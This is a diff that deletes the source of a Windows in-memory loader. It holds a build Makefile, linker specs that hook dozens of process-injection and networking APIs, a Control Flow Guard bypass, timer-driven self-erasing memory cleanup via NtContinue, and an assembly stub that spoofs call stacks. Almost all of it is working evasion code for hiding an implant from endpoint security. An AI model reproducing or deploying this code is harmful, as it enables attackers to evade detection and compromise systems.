if ( module == NULL ) {
|
||||
module = LoadLibraryA ( mod_name );
|
||||
}
|
||||
|
||||
return GetProcAddress ( module, func_name );
|
||||
HANDLE module = get_module_handle ( mod_name );
|
||||
return get_proc_address ( module, func_name );
|
||||
}
|
||||
@@ -1,22 +0,0 @@
|
||||
CC_64=x86_64-w64-mingw32-gcc
|
||||
NASM=nasm
|
||||
|
||||
all: bin/loader.x64.o
|
||||
|
||||
bin:
|
||||
mkdir bin
|
||||
|
||||
bin/loader.x64.o: bin
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/mask.c -o bin/mask.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o
|
||||
|
||||
$(NASM) src/draugr.asm -o bin/draugr.x64.bin
|
||||
|
||||
clean:
|
||||
rm -f bin/*
|
||||
Binary file not shown.
@@ -1,73 +0,0 @@
|
||||
x64:
|
||||
load "bin/pico.x64.o"
|
||||
make object +disco
|
||||
|
||||
# merge the hook functions
|
||||
load "bin/hooks.x64.o"
|
||||
merge
|
||||
|
||||
# merge the call stack spoofing
|
||||
load "bin/spoof.x64.o"
|
||||
merge
|
||||
|
||||
# merge the asm stub
|
||||
load "bin/draugr.x64.bin"
|
||||
linkfunc "draugr_stub"
|
||||
|
||||
# merge mask
|
||||
load "bin/mask.x64.o"
|
||||
merge
|
||||
|
||||
# generate and patch in a random key
|
||||
generate $KEY 128
|
||||
patch "xorkey" $KEY
|
||||
|
||||
# merge cfg code
|
||||
load "bin/cfg.x64.o"
|
||||
merge
|
||||
|
||||
# merge cleanup
|
||||
load "bin/cleanup.x64.o"
|
||||
merge
|
||||
|
||||
# export setup_hooks and setup_memory
|
||||
exportfunc "setup_hooks" "__tag_setup_hooks"
|
||||
exportfunc "setup_memory" "__tag_setup_memory"
|
||||
|
||||
# hook functions in the DLL
|
||||
addhook "WININET$HttpSendRequestA" "_HttpSendRequestA"
|
||||
addhook "WININET$InternetOpenA" "_InternetOpenA"
|
||||
addhook "WININET$InternetConnectA" "_InternetConnectA"
|
||||
addhook "KERNEL32$CloseHandle" "_CloseHandle"
|
||||
addhook "KERNEL32$CreateFileMappingA" "_CreateFileMappingA"
|
||||
addhook "KERNEL32$CreateProcessA" "_CreateProcessA"
|
||||
addhook "KERNEL32$CreateRemoteThread" "_CreateRemoteThread"
|
||||
addhook "KERNEL32$CreateThread" "_CreateThread"
|
||||
addhook "KERNEL32$DuplicateHandle" "_DuplicateHandle"
|
||||
addhook "KERNEL32$ExitThread" "_ExitThread"
|
||||
addhook "KERNEL32$GetProcAddress" "_GetProcAddress"
|
||||
addhook "KERNEL32$GetThreadContext" "_GetThreadContext"
|
||||
addhook "KERNEL32$LoadLibraryA" "_LoadLibraryA"
|
||||
addhook "KERNEL32$MapViewOfFile" "_MapViewOfFile"
|
||||
addhook "KERNEL32$OpenProcess" "_OpenProcess"
|
||||
addhook "KERNEL32$OpenThread" "_OpenThread"
|
||||
addhook "KERNEL32$ReadProcessMemory" "_ReadProcessMemory"
|
||||
addhook "KERNEL32$ResumeThread" "_ResumeThread"
|
||||
addhook "KERNEL32$SetThreadContext" "_SetThreadContext"
|
||||
addhook "KERNEL32$Sleep" "_Sleep"
|
||||
addhook "KERNEL32$UnmapViewOfFile" "_UnmapViewOfFile"
|
||||
addhook "KERNEL32$VirtualAlloc" "_VirtualAlloc"
|
||||
addhook "KERNEL32$VirtualAllocEx" "_VirtualAllocEx"
|
||||
addhook "KERNEL32$VirtualFree" "_VirtualFree"
|
||||
addhook "KERNEL32$VirtualProtect" "_VirtualProtect"
|
||||
addhook "KERNEL32$VirtualProtectEx" "_VirtualProtectEx"
|
||||
addhook "KERNEL32$VirtualQuery" "_VirtualQuery"
|
||||
addhook "KERNEL32$WriteProcessMemory" "_WriteProcessMemory"
|
||||
addhook "OLE32$CoCreateInstance" "_CoCreateInstance"
|
||||
|
||||
# hook functions in pico
|
||||
attach "KERNEL32$VirtualProtect" "_VirtualProtect" # this is needed to hook VirtualProtect in mask.c
|
||||
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
export
|
||||
@@ -1,7 +0,0 @@
|
||||
x64:
|
||||
load "bin/services.x64.o"
|
||||
merge
|
||||
|
||||
mergelib "../libtcg.x64.zip"
|
||||
|
||||
dfr "resolve" "strings"
|
||||
@@ -1,114 +0,0 @@
|
||||
#include <windows.h>
|
||||
#include "cfg.h"
|
||||
|
||||
#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 )
|
||||
#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 )
|
||||
|
||||
typedef struct {
|
||||
ULONG ExtendedProcessInfo;
|
||||
ULONG ExtendedProcessInfoBuffer;
|
||||
} EXTENDED_PROCESS_INFORMATION;
|
||||
|
||||
typedef enum {
|
||||
ProcessUserModeIOPL = 16,
|
||||
ProcessCookie = 36
|
||||
} PROCESSINFOCLASS;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwNumberOfOffsets;
|
||||
PULONG plOutput;
|
||||
PCFG_CALL_TARGET_INFO ptOffsets;
|
||||
PVOID pMustBeZero;
|
||||
PVOID pMoarZero;
|
||||
} VM_INFORMATION;
|
||||
|
||||
typedef enum {
|
||||
VmPrefetchInformation,
|
||||
VmPagePriorityInformation,
|
||||
VmCfgCallTargetInformation
|
||||
} VIRTUAL_MEMORY_INFORMATION_CLASS;
|
||||
|
||||
typedef struct {
|
||||
PVOID VirtualAddress;
|
||||
SIZE_T NumberOfBytes;
|
||||
} MEMORY_RANGE_ENTRY;
|
||||
|
||||
typedef enum {
|
||||
MemoryBasicInformation
|
||||
} MEMORY_INFORMATION_CLASS;
|
||||
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG );
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T );
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG );
|
||||
|
||||
BOOL cfg_enabled ( )
|
||||
{
|
||||
EXTENDED_PROCESS_INFORMATION proc_info = { 0 };
|
||||
|
||||
NTSTATUS status = 0;
|
||||
|
||||
proc_info.ExtendedProcessInfo = ProcessControlFlowGuardPolicy;
|
||||
proc_info.ExtendedProcessInfoBuffer = 0;
|
||||
|
||||
status = NTDLL$NtQueryInformationProcess ( NtCurrentProcess ( ), ProcessCookie | ProcessUserModeIOPL, &proc_info, sizeof ( proc_info ), NULL );
|
||||
|
||||
if ( ! NT_SUCCESS ( status ) ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return proc_info.ExtendedProcessInfoBuffer;
|
||||
}
|
||||
|
||||
BOOL bypass_cfg ( PVOID address )
|
||||
{
|
||||
MEMORY_BASIC_INFORMATION mbi = { 0 };
|
||||
VM_INFORMATION vmi = { 0 };
|
||||
MEMORY_RANGE_ENTRY mre = { 0 };
|
||||
CFG_CALL_TARGET_INFO cti = { 0 };
|
||||
|
||||
NTSTATUS status = NTDLL$NtQueryVirtualMemory ( NtCurrentProcess ( ), address, MemoryBasicInformation, &mbi, sizeof ( mbi ), 0 );
|
||||
|
||||
if ( ! NT_SUCCESS ( status ) ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ( mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE ) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
cti.Offset = ( ULONG_PTR ) address - ( ULONG_PTR ) mbi.BaseAddress;
|
||||
cti.Flags = CFG_CALL_TARGET_VALID;
|
||||
|
||||
mre.NumberOfBytes = ( SIZE_T ) mbi.RegionSize;
|
||||
mre.VirtualAddress = ( PVOID ) mbi.BaseAddress;
|
||||
|
||||
ULONG output = 0;
|
||||
|
||||
vmi.dwNumberOfOffsets = 0x1;
|
||||
vmi.plOutput = &output;
|
||||
vmi.ptOffsets = &cti;
|
||||
vmi.pMustBeZero = 0x0;
|
||||
vmi.pMoarZero = 0x0;
|
||||
|
||||
status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, ( ULONG ) sizeof ( vmi ) );
|
||||
|
||||
if ( status == 0xC00000F4 )
|
||||
{
|
||||
/* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */
|
||||
status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, 24 );
|
||||
}
|
||||
|
||||
if ( ! NT_SUCCESS ( status ) )
|
||||
{
|
||||
/* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */
|
||||
if ( status == 0xC0000045 )
|
||||
{
|
||||
/* pretend we bypassed it so timers can continue */
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -1,2 +0,0 @@
|
||||
BOOL cfg_enabled ( );
|
||||
BOOL bypass_cfg ( PVOID address );
|
||||
@@ -1,89 +0,0 @@
|
||||
#include <windows.h>
|
||||
#include "memory.h"
|
||||
#include "cfg.h"
|
||||
#include "spoof.h"
|
||||
#include "tcg.h"
|
||||
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
|
||||
|
||||
#define memcpy(x, y, z) __movsb ( ( unsigned char * ) x, ( unsigned char * ) y, z );
|
||||
|
||||
void cleanup_memory ( MEMORY_LAYOUT * memory )
|
||||
{
|
||||
/* is cfg enabled? */
|
||||
BOOL enabled = cfg_enabled ( );
|
||||
|
||||
if ( enabled ) {
|
||||
/* try to bypass it at NtContinue */
|
||||
if ( bypass_cfg ( NTDLL$NtContinue ) ) {
|
||||
enabled = FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* just return if we
|
||||
* failed to bypass it
|
||||
*/
|
||||
|
||||
if ( enabled ) {
|
||||
return;
|
||||
}
|
||||
|
||||
/*
|
||||
* crack on and setup a timer
|
||||
* to free the memory regions
|
||||
*/
|
||||
|
||||
CONTEXT ctx = { 0 };
|
||||
ctx.ContextFlags = CONTEXT_ALL;
|
||||
|
||||
HANDLE timer_queue = KERNEL32$CreateTimerQueue ( ), timer = NULL;
|
||||
|
||||
if ( KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( KERNEL32$RtlCaptureContext ), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD ) )
|
||||
{
|
||||
/* give RtlCaptureContext a chance to run */
|
||||
KERNEL32$Sleep ( 100 );
|
||||
|
||||
if ( ctx.Rip != 0 )
|
||||
{
|
||||
HANDLE heap = KERNEL32$GetProcessHeap ( );
|
||||
CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * 2 );
|
||||
|
||||
for ( int i = 0; i < 2; i++ ) {
|
||||
memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) );
|
||||
}
|
||||
|
||||
/*
|
||||
* we use VirtualFree here because
|
||||
* the loader uses VirtualAlloc
|
||||
*/
|
||||
|
||||
/* the dll */
|
||||
ctx_free[ 0 ].Rsp -= sizeof ( PVOID );
|
||||
ctx_free[ 0 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
|
||||
ctx_free[ 0 ].Rcx = ( DWORD64 ) ( memory->Dll.BaseAddress );
|
||||
ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 );
|
||||
ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
|
||||
|
||||
/* this pico */
|
||||
ctx_free[ 1 ].Rsp -= sizeof ( PVOID );
|
||||
ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
|
||||
ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.BaseAddress );
|
||||
ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 );
|
||||
ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
|
||||
|
||||
/* give a decent delay so ExitThread has time to be called */
|
||||
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
void cleanup_memory ( MEMORY_LAYOUT * memory );
|
||||
@@ -1,147 +0,0 @@
|
||||
[BITS 64]
|
||||
|
||||
draugr_stub:
|
||||
pop rax ; Real return address in rax
|
||||
|
||||
mov r10, rdi ; Store OG rdi in r10
|
||||
mov r11, rsi ; Store OG rsi in r11
|
||||
|
||||
mov rdi, [ rsp + 32 ] ; Storing struct in rdi
|
||||
mov rsi, [ rsp + 40 ] ; Storing function to call
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Storing our original registers
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
mov [ rdi + 24 ], r10 ; Storing OG rdi into param
|
||||
mov [ rdi + 88 ], r11 ; Storing OG rsi into param
|
||||
mov [ rdi + 96 ], r12 ; Storing OG r12 into param
|
||||
mov [ rdi + 104 ], r13 ; Storing OG r13 into param
|
||||
mov [ rdi + 112 ], r14 ; Storing OG r14 into param
|
||||
mov [ rdi + 120 ], r15 ; Storing OG r15 into param
|
||||
|
||||
mov r12, rax ; OG code used r12 for ret addr
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Prepping to move stack args
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
xor r11, r11 ; r11 will hold the # of args that have been "pushed"
|
||||
mov r13, [ rsp + 0x30 ] ; r13 will hold the # of args total that will be pushed
|
||||
|
||||
mov r14, 0x200 ; r14 will hold the offset we need to push stuff
|
||||
add r14, 8
|
||||
add r14, [ rdi + 56 ] ; stack size of RUTS
|
||||
add r14, [ rdi + 48 ] ; stack size of BTIT
|
||||
add r14, [ rdi + 32 ] ; stack size of our gadget frame
|
||||
sub r14, 0x20 ; first stack arg is located at +0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time
|
||||
|
||||
mov r10, rsp
|
||||
add r10, 0x30 ; offset of stack arg added to rsp
|
||||
|
||||
looping:
|
||||
xor r15, r15 ; r15 will hold the offset + rsp base
|
||||
cmp r11d, r13d ; comparing # of stack args added vs # of stack args we need to add
|
||||
je finish
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Getting location to move the stack arg to
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
sub r14, 8 ; 1 arg means r11 is 0, r14 already 0x28 offset.
|
||||
mov r15, rsp ; get current stack base
|
||||
sub r15, r14 ; subtract offset
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Procuring the stack arg
|
||||
; ---------------------------------------------------------------------
|
||||
|
||||
add r10, 8
|
||||
|
||||
push qword [ r10 ]
|
||||
pop qword [ r15 ]
|
||||
|
||||
; ---------------------------------------------------------------------
|
||||
; Increment the counter and loop back in case we need more args
|
||||
; ---------------------------------------------------------------------
|
||||
add r11, 1
|
||||
jmp looping
|
||||
|
||||
finish:
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Creating a big 320 byte working space
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, 0x200
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Pushing a 0 to cut off the return addresses after RtlUserThreadStart.
|
||||
; Need to figure out why this cuts off the call stack
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
push 0
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; RtlUserThreadStart + 0x14 frame
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, [ rdi + 56 ]
|
||||
mov r11, [ rdi + 64 ]
|
||||
mov [ rsp ], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; BaseThreadInitThunk + 0x21 frame
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, [ rdi + 32 ]
|
||||
mov r11, [ rdi + 40 ]
|
||||
mov [ rsp ], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Gadget frame
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
sub rsp, [ rdi + 48 ]
|
||||
mov r11, [ rdi + 80 ]
|
||||
mov [ rsp ], r11
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Adjusting the param struct for the fixup
|
||||
; ----------------------------------------------------------------------
|
||||
|
||||
mov r11, rsi ; Copying function to call into r11
|
||||
|
||||
mov [ rdi + 8 ], r12 ; Real return address is now moved into the "OG_retaddr" member
|
||||
mov [ rdi + 16 ], rbx ; original rbx is stored into "rbx" member
|
||||
lea rbx, [ rel fixup ] ; Fixup address is moved into rbx
|
||||
mov [ rdi ], rbx ; Fixup member now holds the address of Fixup
|
||||
mov rbx, rdi ; Address of param struct (Fixup) is moved into rbx
|
||||
|
||||
; ----------------------------------------------------------------------
|
||||
; Syscall stuff. Shouldn't affect performance even if a syscall isnt made
|
||||
; ----------------------------------------------------------------------
|
||||
mov r10, rcx
|
||||
mov rax, [ rdi + 72 ]
|
||||
|
||||
jmp r11
|
||||
|
||||
fixup:
|
||||
mov rcx, rbx
|
||||
add rsp, 0x200 ; Big frame thing
|
||||
add rsp, [ rbx + 48 ] ; Stack size
|
||||
add rsp, [ rbx + 32 ] ; Stack size
|
||||
add rsp, [ rbx + 56 ] ; Stack size
|
||||
|
||||
mov rbx, [ rcx + 16 ] ; Restoring OG RBX
|
||||
mov rdi, [ rcx + 24 ] ; ReStoring OG rdi
|
||||
mov rsi, [ rcx + 88 ] ; ReStoring OG rsi
|
||||
mov r12, [ rcx + 96 ] ; ReStoring OG r12
|
||||
mov r13, [ rcx + 104 ] ; ReStoring OG r13
|
||||
mov r14, [ rcx + 112 ] ; ReStoring OG r14
|
||||
mov r15, [ rcx + 120 ] ; ReStoring OG r15
|
||||
push rax
|
||||
|
||||
xor rax, rax
|
||||
pop rax
|
||||
jmp QWORD [ rcx + 8 ]
|
||||
@@ -1,436 +0,0 @@
|
||||
#include <windows.h>
|
||||
#include <wininet.h>
|
||||
#include <combaseapi.h>
|
||||
#include "tcg.h"
|
||||
#include "memory.h"
|
||||
#include "spoof.h"
|
||||
|
||||
DECLSPEC_IMPORT HINTERNET WINAPI WININET$HttpSendRequestA ( HINTERNET, LPCSTR, DWORD, LPVOID, DWORD );
|
||||
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetConnectA ( HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR );
|
||||
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetOpenA ( LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD );
|
||||
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle ( HANDLE );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA ( HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA ( LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread ( HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread ( LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle ( HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext ( HANDLE, LPCONTEXT );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile ( HANDLE, DWORD, DWORD, DWORD, SIZE_T );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess ( DWORD, BOOL, DWORD );
|
||||
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread ( DWORD, BOOL, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory ( HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T * );
|
||||
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread ( HANDLE );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext ( HANDLE, const CONTEXT * );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile ( LPCVOID );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx ( HANDLE, LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx ( HANDLE, LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery ( LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T * );
|
||||
|
||||
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * );
|
||||
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
|
||||
|
||||
// cannot put this here because it fails to build
|
||||
// to PIC when hooks.x64.o is merged into the loader
|
||||
// extern MEMORY_LAYOUT g_memory;
|
||||
|
||||
BOOL WINAPI _HttpSendRequestA ( HINTERNET hRequest, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WININET$HttpSendRequestA );
|
||||
call.argc = 5;
|
||||
call.args [ 0 ] = spoof_arg ( hRequest );
|
||||
call.args [ 1 ] = spoof_arg ( lpszHeaders );
|
||||
call.args [ 2 ] = spoof_arg ( dwHeadersLength );
|
||||
call.args [ 3 ] = spoof_arg ( lpOptional );
|
||||
call.args [ 4 ] = spoof_arg ( dwOptionalLength );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HINTERNET WINAPI _InternetOpenA ( LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WININET$InternetOpenA );
|
||||
call.argc = 5;
|
||||
call.args [ 0 ] = spoof_arg ( lpszAgent );
|
||||
call.args [ 1 ] = spoof_arg ( dwAccessType );
|
||||
call.args [ 2 ] = spoof_arg ( lpszProxy );
|
||||
call.args [ 3 ] = spoof_arg ( lpszProxyBypass );
|
||||
call.args [ 4 ] = spoof_arg ( dwFlags );
|
||||
|
||||
return ( HINTERNET ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HINTERNET WINAPI _InternetConnectA ( HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( WININET$InternetConnectA );
|
||||
call.argc = 8;
|
||||
call.args [ 0 ] = spoof_arg ( hInternet );
|
||||
call.args [ 1 ] = spoof_arg ( lpszServerName );
|
||||
call.args [ 2 ] = spoof_arg ( nServerPort );
|
||||
call.args [ 3 ] = spoof_arg ( lpszUserName );
|
||||
call.args [ 4 ] = spoof_arg ( lpszPassword );
|
||||
call.args [ 5 ] = spoof_arg ( dwService );
|
||||
call.args [ 6 ] = spoof_arg ( dwFlags );
|
||||
call.args [ 7 ] = spoof_arg ( dwContext );
|
||||
|
||||
return ( HINTERNET ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _CloseHandle ( HANDLE hObject )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$CloseHandle );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hObject );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateFileMappingA ( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$CreateFileMappingA );
|
||||
call.argc = 6;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hFile );
|
||||
call.args [ 1 ] = spoof_arg ( lpFileMappingAttributes );
|
||||
call.args [ 2 ] = spoof_arg ( flProtect );
|
||||
call.args [ 3 ] = spoof_arg ( dwMaximumSizeHigh );
|
||||
call.args [ 4 ] = spoof_arg ( dwMaximumSizeLow );
|
||||
call.args [ 5 ] = spoof_arg ( lpName );
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL _CreateProcessA ( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$CreateProcessA );
|
||||
call.argc = 10;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpApplicationName );
|
||||
call.args [ 1 ] = spoof_arg ( lpCommandLine );
|
||||
call.args [ 2 ] = spoof_arg ( lpProcessAttributes );
|
||||
call.args [ 3 ] = spoof_arg ( lpThreadAttributes );
|
||||
call.args [ 4 ] = spoof_arg ( bInheritHandles );
|
||||
call.args [ 5 ] = spoof_arg ( dwCreationFlags );
|
||||
call.args [ 6 ] = spoof_arg ( lpEnvironment );
|
||||
call.args [ 7 ] = spoof_arg ( lpCurrentDirectory );
|
||||
